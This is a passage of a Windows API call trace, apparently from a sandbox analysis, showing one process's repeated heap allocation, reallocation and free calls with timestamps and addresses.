0x6b0f68 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699be8, Size=0x25) returned 0x6998e8 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998e8, Size=0x27) returned 0x699c18 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1088 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c18, Size=0x29) returned 0x66c648 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c648, Size=0x2b) returned 0x66c220 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c220, Size=0x2d) returned 0x66c1b0 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.257] GetProcessHeap () returned 0x630000 [0068.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.257] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f80 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c1b0, Size=0x2f) returned 0x66c568 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1058 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c568, Size=0x31) returned 0x658718 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658718, Size=0x33) returned 0x658758 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.258] GetProcessHeap () returned 0x630000 [0068.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658758, Size=0x35) returned 0x658a98 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658a98, Size=0x37) returned 0x658718 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1040 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658718, Size=0x39) returned 0x69b768 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.259] GetProcessHeap () returned 0x630000 [0068.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.259] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10a0 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b768, Size=0x3b) returned 0x69b9a8 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b9a8, Size=0x3d) returned 0x69b768 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1088 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b768, Size=0x3f) returned 0x69b7b0 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.260] GetProcessHeap () returned 0x630000 [0068.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10d0 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b7b0, Size=0x41) returned 0x679150 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679150, Size=0x43) returned 0x678a70 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1058 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678a70, Size=0x45) returned 0x678d40 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.261] GetProcessHeap () returned 0x630000 [0068.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10a0 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678d40, Size=0x47) returned 0x678de0 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f98 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678de0, Size=0x49) returned 0x6afa80 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afa80, Size=0x4b) returned 0x6afce8 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.262] GetProcessHeap () returned 0x630000 [0068.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afce8, Size=0x4d) returned 0x6afbe0 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbe0, Size=0x4f) returned 0x6afc90 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc90, Size=0x51) returned 0x68de18 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1058 [0068.263] GetProcessHeap () returned 0x630000 [0068.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68de18, Size=0x53) returned 0x68dff8 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1088 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68dff8, Size=0x55) returned 0x68de18 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68de18, Size=0x57) returned 0x68e238 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap 